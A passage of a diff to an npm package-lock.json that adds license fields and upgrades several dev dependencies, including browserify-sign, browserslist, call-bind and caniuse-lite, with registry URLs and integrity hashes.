       "integrity": "sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "buffer-xor": "^1.0.3",
         "cipher-base": "^1.0.0",
@@ -1574,6 +1618,7 @@
       "resolved": "https://registry.npmjs.org/browserify-cipher/-/browserify-cipher-1.0.1.tgz",
       "integrity": "sha512-sPhkz0ARKbf4rRQt2hTpAHqn47X3llLkUGn+xEJzLjwY8LRs2p0v7ljvI5EyoRO/mexrNunNECisZs+gw2zz1w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "browserify-aes": "^1.0.4",
         "browserify-des": "^1.0.0",
@@ -1585,6 +1630,7 @@
       "resolved": "https://registry.npmjs.org/browserify-des/-/browserify-des-1.0.2.tgz",
       "integrity": "sha512-BioO1xf3hFwz4kc6iBhI3ieDFompMhrMlnDFC4/0/vd5MokpuAc3R+LYbwTA9A5Yc9pq9UYPqffKpW2ObuwX5A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "cipher-base": "^1.0.1",
         "des.js": "^1.0.0",
@@ -1593,13 +1639,18 @@
       }
     },
     "node_modules/browserify-rsa": {
-      "version": "4.1.0",
-      "resolved": "https://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.1.0.tgz",
-      "integrity": "sha512-AdEER0Hkspgno2aR97SAf6vi0y0k8NuOpGnVH3O99rcA5Q6sh8QxcngtHuJ6uXwnfAXNM4Gn1Gb7/MV1+Ymbog==",
+      "version": "4.1.1",
+      "resolved": "https://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.1.1.tgz",
+      "integrity": "sha512-YBjSAiTqM04ZVei6sXighu679a3SqWORA3qZTEqZImnlkDIFtKc6pNutpjyZ8RJTjQtuYfeetkxM11GwoYXMIQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "bn.js": "^5.0.0",
-        "randombytes": "^2.0.1"
+        "bn.js": "^5.2.1",
+        "randombytes": "^2.1.0",
+        "safe-buffer": "^5.2.1"
+      },
+      "engines": {
+        "node": ">= 0.10"
       }
     },
     "node_modules/browserify-shim": {
@@ -1607,6 +1658,7 @@
       "resolved": "https://registry.npmjs.org/browserify-shim/-/browserify-shim-3.8.16.tgz",
       "integrity": "sha512-+Ap0xOKUC5Hz8sdUROxCJHgzA5IeU7pgUquCdlbBxyxkexzU4kpU6u1TsIvnFJcdx1bxO902J08AEjbMqDbA3g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "exposify": "~0.5.0",
         "mothership": "~0.3.0",
@@ -1622,37 +1674,29 @@
       "version": "0.6.3",
       "resolved": "https://registry.npmjs.org/resolve/-/resolve-0.6.3.tgz",
       "integrity": "sha512-UHBY3viPlJKf85YijDUcikKX6tmF4SokIDp518ZDVT92JNDcG5uKIthaT/owt3Sar0lwtOafsQuwrg22/v2Dwg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/browserify-sign": {
-      "version": "4.2.1",
-      "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.2.1.tgz",
-      "integrity": "sha512-/vrA5fguVAKKAVTNJjgSm1tRQDHUU6DbwO9IROu/0WAzC8PKhucDSh18J0RMvVeHAn5puMd+QHC2erPRNf8lmg==",
+      "version": "4.2.3",
+      "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.2.3.tgz",
+      "integrity": "sha512-JWCZW6SKhfhjJxO8Tyiiy+XYB7cqd2S5/+WeYHsKdNKFlCBhKbblba1A/HN/90YwtxKc8tCErjffZl++UNmGiw==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
-        "bn.js": "^5.1.1",
-        "browserify-rsa": "^4.0.1",
+        "bn.js": "^5.2.1",
+        "browserify-rsa": "^4.1.0",
         "create-hash": "^1.2.0",
         "create-hmac": "^1.1.7",
-        "elliptic": "^6.5.3",
+        "elliptic": "^6.5.5",
+        "hash-base": "~3.0",
         "inherits": "^2.0.4",
-        "parse-asn1": "^5.1.5",
-        "readable-stream": "^3.6.0",
-        "safe-buffer": "^5.2.0"
-      }
-    },
-    "node_modules/browserify-sign/node_modules/readable-stream": {
-      "version": "3.6.2",
-      "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
-      "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
-      "dev": true,
-      "dependencies": {
-        "inherits": "^2.0.3",
-        "string_decoder": "^1.1.1",
-        "util-deprecate": "^1.0.1"
+        "parse-asn1": "^5.1.7",
+        "readable-stream": "^2.3.8",
+        "safe-buffer": "^5.2.1"
       },
       "engines": {
-        "node": ">= 6"
+        "node": ">= 0.12"
       }
     },
     "node_modules/browserify-zlib": {
@@ -1660,14 +1704,15 @@
       "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.2.0.tgz",
       "integrity": "sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "pako": "~1.0.5"
       }
     },
     "node_modules/browserslist": {
-      "version": "4.21.10",
-      "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.10.tgz",
-      "integrity": "sha512-bipEBdZfVH5/pwrvqc+Ub0kUPVfGUhlKxbvfD+z1BDnPEO/X98ruXGA1WP5ASpAFKan7Qr6j736IacbZQuAlKQ==",
+      "version": "4.25.1",
+      "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.25.1.tgz",
+      "integrity": "sha512-KGj0KoOMXLpSNkkEI6Z6mShmQy0bc1I+T7K9N81k4WWMrfz+6fQ6es80B/YLAeRoKvjYE1YSHHOW1qe9xIVzHw==",
       "dev": true,
       "funding": [
         {
@@ -1683,11 +1728,12 @@
           "url": "https://github.com/sponsors/ai"
         }
       ],
+      "license": "MIT",
       "dependencies": {
-        "caniuse-lite": "^1.0.30001517",
-        "electron-to-chromium": "^1.4.477",
-        "node-releases": "^2.0.13",
-        "update-browserslist-db": "^1.0.11"
+        "caniuse-lite": "^1.0.30001726",
+        "electron-to-chromium": "^1.5.173",
+        "node-releases": "^2.0.19",
+        "update-browserslist-db": "^1.1.3"
       },
       "bin": {
         "browserslist": "cli.js"
@@ -1701,6 +1747,7 @@
       "resolved": "https://registry.npmjs.org/bs-logger/-/bs-logger-0.2.6.tgz",
       "integrity": "sha512-pd8DCoxmbgc7hyPKOvxtqNcjYoOsABPQdcCUjGp3d42VR2CX1ORhk2A87oqqu5R1kk+76nsxZupkmyd+MVtCog==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "fast-json-stable-stringify": "2.x"
       },
@@ -1713,6 +1760,7 @@
       "resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz",
       "integrity": "sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
         "node-int64": "^0.4.0"
       }
@@ -1722,6 +1770,7 @@
       "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.2.1.tgz",
       "integrity": "sha512-c+Ko0loDaFfuPWiL02ls9Xd3GO3cPVmUobQ6t3rXNUk304u6hGq+8N/kFi+QEIKhzK3uwolVhLzszmfLmMLnqg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "base64-js": "^1.0.2",
         "ieee754": "^1.1.4"
@@ -1732,6 +1781,7 @@
       "resolved": "https://registry.npmjs.org/buffer-equal/-/buffer-equal-0.0.1.tgz",
       "integrity": "sha512-RgSV6InVQ9ODPdLWJ5UAqBqJBOg370Nz6ZQtRzpt6nUjc8v0St97uJ4PYC6NztqIScrAXafKM3mZPMygSe1ggA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.4.0"
       }
@@ -1740,19 +1790,22 @@
       "version": "1.1.2",
       "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",
       "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/buffer-xor": {
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/buffer-xor/-/buffer-xor-1.0.3.tgz",
       "integrity": "sha512-571s0T7nZWK6vB67HI5dyUF7wXiNcfaPPPTl6zYCNApANjIvYJTg7hlud/+cJpdAhS7dVzqMLmfhfHR3rAcOjQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/builtin-modules": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-1.1.1.tgz",
       "integrity": "sha512-wxXCdllwGhI2kCC0MnvTGYTMvnVZTvqgypkiTI8Pa5tcz2i6VqsqwYGgqwXji+4RgCzms6EajE4IxiUH6HH8nQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -1761,13 +1814,15 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/builtin-status-codes/-/builtin-status-codes-3.0.0.tgz",
       "integrity": "sha512-HpGFw18DgFWlncDfjTa2rcQ4W88O1mC8e8yZ2AvQY5KDaktSTwo+KRf6nHK6FRI5FyRyb/5T6+TSxfP7QyGsmQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/cache-base": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/cache-base/-/cache-base-1.0.1.tgz",
       "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "collection-visit": "^1.0.0",
         "component-emitter": "^1.2.1",
@@ -1787,16 +1842,54 @@
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/cached-path-relative/-/cached-path-relative-1.1.0.tgz",
       "integrity": "sha512-WF0LihfemtesFcJgO7xfOoOcnWzY/QHR4qeDqV44jPU3HTI54+LnfXK3SA27AVVGCdZFgjjFFaqUA9Jx7dMJZA==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/call-bind": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz",
-      "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==",
+      "version": "1.0.8",
+      "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.8.tgz",
+      "integrity": "sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "function-bind": "^1.1.1",
-        "get-intrinsic": "^1.0.2"
+        "call-bind-apply-helpers": "^1.0.0",
+        "es-define-property": "^1.0.0",
+        "get-intrinsic": "^1.2.4",
+        "set-function-length": "^1.2.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/call-bind-apply-helpers": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",
+      "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "function-bind": "^1.1.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/call-bound": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",
+      "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "call-bind-apply-helpers": "^1.0.2",
+        "get-intrinsic": "^1.3.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -1807,6 +1900,7 @@
       "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
       "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -1816,14 +1910,15 @@
       "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
       "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
     },
     "node_modules/caniuse-lite": {
-      "version": "1.0.30001519",
-      "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001519.tgz",
-      "integrity": "sha512-0QHgqR+Jv4bxHMp8kZ1Kn8CH55OikjKJ6JmKkZYP1F3D7w+lnFXF70nG5eNfsZS89jadi5Ywy5UCSKLAglIRkg==",
+      "version": "1.0.30001726",
+      "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001726.tgz",
+      "integrity": "sha512-VQAUIUzBiZ/UnlM28fSp2CRF3ivUn1BWEvxMcVTNwpw91Py1pGbPIyIKtd+tzct9C3ouceCVdGAXxZOpZAsgdw==",
       "dev": true,
       "funding": [
         {
@@ -1838,13 +1933,15 @@
           "type": "github",
           "url": "https://github.com/sponsors/ai"
         }
-      ]
+      ],
+      "license": "CC-BY-4.0"
     },
     "node_modules/capture-exit": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/capture-exit/-/capture-exit-2.0.0.tgz",
       "integrity": "sha512-PiT/hQmTonHhl/HFGN+Lx3JJUznrVYJ3+AQsnthneZbvW7x+f08Tk7yLJTLEOUvBTbduLeeBkxEaYXUOUrRq6g==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "rsvp": "^4.8.4"
       },
@@ -1856,13 +1953,15 @@
       "version": "0.12.0",
       "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz",
       "integrity": "sha512-4tYFyifaFfGacoiObjJegolkwSU4xQNGbVgUiNYVUxbQ2x2lUsFvY4hVgVzGiIe6WLOPqycWXA40l+PWsxthUw==",
-      "dev": true
+      "dev": true,
+      "license": "Apache-2.0"
     },
     "node_modules/chalk": {
       "version": "2.4.2",
       "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
       "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-styles": "^3.2.1",
         "escape-string-regexp": "^1.0.5",
@@ -1876,22 +1975,28 @@
       "version": "0.7.0",
       "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz",
       "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/ci-info": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-2.0.0.tgz",
       "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/cipher-base": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/cipher-base/-/cipher-base-1.0.4.tgz",
-      "integrity": "sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q==",
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/cipher-base/-/cipher-base-1.0.6.tgz",
+      "integrity": "sha512-3Ek9H3X6pj5TgenXYtNWdaBon1tgYCaebd+XPg0keyjEbEfkD4KkmAxkQ/i1vYvxdcT5nscLBfq9VJRmCBcFSw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "inherits": "^2.0.1",
-        "safe-buffer": "^5.0.1"
+        "inherits": "^2.0.4",
+        "safe-buffer": "^5.2.1"
+      },
+      "engines": {
+        "node": ">= 0.10"
       }
     },
     "node_modules/class-utils": {
@@ -1899,6 +2004,7 @@
       "resolved": "https://registry.npmjs.org/class-utils/-/class-utils-0.3.6.tgz",
       "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "arr-union": "^3.1.0",
         "define-property": "^0.2.5",
@@ -1914,6 +2020,7 @@
       "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
       "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-descriptor": "^0.1.0"
       },
@@ -1921,75 +2028,18 @@
         "node": ">=0.10.0"
       }
     },
-    "node_modules/class-utils/node_modules/is-accessor-descriptor": {
-      "version": "0.1.6",
-      "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
-      "integrity": "sha512-e1BM1qnDbMRG3ll2U9dSK0UMHuWOs3pY3AtcFsmvwPtKL3MML/Q86i+GilLfvqEs4GW+ExB91tQ3Ig9noDIZ+A==",
-      "dev": true,
-      "dependencies": {
-        "kind-of": "^3.0.2"
-      },
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
-    "node_modules/class-utils/node_modules/is-accessor-descriptor/node_modules/kind-of": {
-      "version": "3.2.2",
-      "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
-      "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
-      "dev": true,
-      "dependencies": {
-        "is-buffer": "^1.1.5"
-      },
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
-    "node_modules/class-utils/node_modules/is-data-descriptor": {
-      "version": "0.1.4",
-      "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
-      "integrity": "sha512-+w9D5ulSoBNlmw9OHn3U2v51SyoCd0he+bB3xMl62oijhrspxowjU+AIcDY0N3iEJbUEkB15IlMASQsxYigvXg==",
-      "dev": true,
-      "dependencies": {
-        "kind-of": "^3.0.2"
-      },
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
-    "node_modules/class-utils/node_modules/is-data-descriptor/node_modules/kind-of": {
-      "version": "3.2.2",
-      "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
-      "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
-      "dev": true,
-      "dependencies": {
-        "is-buffer": "^1.1.5"
-      },
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
     "node_modules/class-utils/node_modules/is-descriptor": {
-      "version": "0.1.6",
-      "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
-      "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+      "version": "0.1.7",
+      "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.7.tgz",
+      "integrity": "sha512-C3grZTvObeN1xud4cRWl366OMXZTj0+HGyk4hvfpx4ZHt1Pb60ANSXqCK7pdOTeUQpRzECBSTphqvD7U+l22Eg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "is-accessor-descriptor": "^0.1.6",
-        "is-data-descriptor": "^0.1.4",
-        "kind-of": "^5.0.0"
+        "is-accessor-descriptor": "^1.0.1",
+        "is-data-descriptor": "^1.0.1"
       },
       "engines": {
-        "node": ">=0.10.0"
-      }
-    },
-    "node_modules/class-utils/node_modules/kind-of": {
-      "version": "5.1.0",
-      "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
-      "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==",
-      "dev": true,
-      "engines": {
-        "node": ">=0.10.0"
+        "node": ">= 0.4"
       }
     },
     "node_modules/cli-cursor": {
@@ -1997,6 +2047,7 @@
       "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-2.1.0.tgz",
       "integrity": "sha512-8lgKz8LmCRYZZQDpRyT2m5rKJ08TnU4tR9FFFW2rxpxR1FzWi4PQ/NfyODchAatHaUgnSPVcx/R5w6NuTBzFiw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "restore-cursor": "^2.0.0"
       },
@@ -2008,12 +2059,14 @@
       "version": "2.2.1",
       "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-2.2.1.tgz",
       "integrity": "sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/cliui": {
       "version": "3.2.0",
       "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz",
       "integrity": "sha512-0yayqDxWQbqk3ojkYqUKqaAQ6AfNKeKWRNA8kR0WXzAsdHpP4BIaOmMAG87JGuO6qcobyW4GjxHd9PmhEd+T9w==",
+      "license": "ISC",
       "dependencies": {
         "string-width": "^1.0.1",
         "strip-ansi": "^3.0.1",
@@ -2024,6 +2077,7 @@
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
       "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -2032,6 +2086,7 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz",
       "integrity": "sha512-1pqUqRjkhPJ9miNq9SwMfdvi6lBJcd6eFxvfaivQhaH3SgisfiuudvFntdKOmxuee/77l+FPjKrQjWvmPjWrRw==",
+      "license": "MIT",
       "dependencies": {
         "number-is-nan": "^1.0.0"
       },
@@ -2043,6 +2098,7 @@
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz",
       "integrity": "sha512-0XsVpQLnVCXHJfyEs8tC0zpTVIr5PKKsQtkT29IwupnPTjtPmQ3xT/4yCREF9hYkV/3M3kzcUTSAZT6a6h81tw==",
+      "license": "MIT",
       "dependencies": {
         "code-point-at": "^1.0.0",
         "is-fullwidth-code-point": "^1.0.0",
@@ -2056,6 +2112,7 @@
       "version": "3.0.1",
       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
       "integrity": "sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==",
+      "license": "MIT",
       "dependencies": {
         "ansi-regex": "^2.0.0"
       },
@@ -2067,6 +2124,7 @@
       "version": "2.1.2",
       "resolved": "https://registry.npmjs.org/clone/-/clone-2.1.2.tgz",
       "integrity": "sha512-3Pe/CF1Nn94hyhIYpjtiLhdCoEoz0DqQ+988E9gmeEdQZlojxnOb74wctFyuwWQHzqyf9X7C7MG8juUpqBJT8w==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.8"
       }
@@ -2076,6 +2134,7 @@
       "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz",
       "integrity": "sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "iojs": ">= 1.0.0",
         "node": ">= 0.12.0"
@@ -2085,6 +2144,7 @@
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz",
       "integrity": "sha512-RpAVKQA5T63xEj6/giIbUEtZwJ4UFIc3ZtvEkiaUERylqe8xb5IvqcgOurZLahv93CLKfxcw5YI+DZcUBRyLXA==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -2094,6 +2154,7 @@
       "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz",
       "integrity": "sha512-lNkKvzEeMBBjUGHZ+q6z9pSJla0KWAQPvtzhEV9+iGyQYG+pBpl7xKDhxoNSOZH2hhv0v5k0y2yAM4o4SjoSkw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "map-visit": "^1.0.0",
         "object-visit": "^1.0.0"
@@ -2107,6 +2168,7 @@
       "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
       "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "color-name": "1.1.3"
       }
@@ -2115,13 +2177,15 @@
       "version": "1.1.3",
       "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
       "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/combine-source-map": {
       "version": "0.8.0",
       "resolved": "https://registry.npmjs.org/combine-source-map/-/combine-source-map-0.8.0.tgz",
       "integrity": "sha512-UlxQ9Vw0b/Bt/KYwCFqdEwsQ1eL8d1gibiFb7lxQJFdvTgc2hIZi6ugsg+kyhzhPV+QEpUiEIwInIAIrgoEkrg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "convert-source-map": "~1.1.0",
         "inline-source-map": "~0.6.0",
@@ -2134,6 +2198,7 @@
       "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
       "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "delayed-stream": "~1.0.0"
       },
@@ -2145,19 +2210,25 @@
       "version": "2.20.3",
       "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
       "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/component-emitter": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz",
-      "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==",
-      "dev": true
+      "version": "1.3.1",
+      "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.1.tgz",
+      "integrity": "sha512-T0+barUSQRTUQASh8bx02dl+DhF54GtIDY13Y3m9oWTklKbb3Wv974meRpeZ3lp1JpLVECWWNHC4vaG2XHXouQ==",
+      "dev": true,
+      "license": "MIT",
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
     },
     "node_modules/concat-map": {
       "version": "0.0.1",
       "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
       "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==",
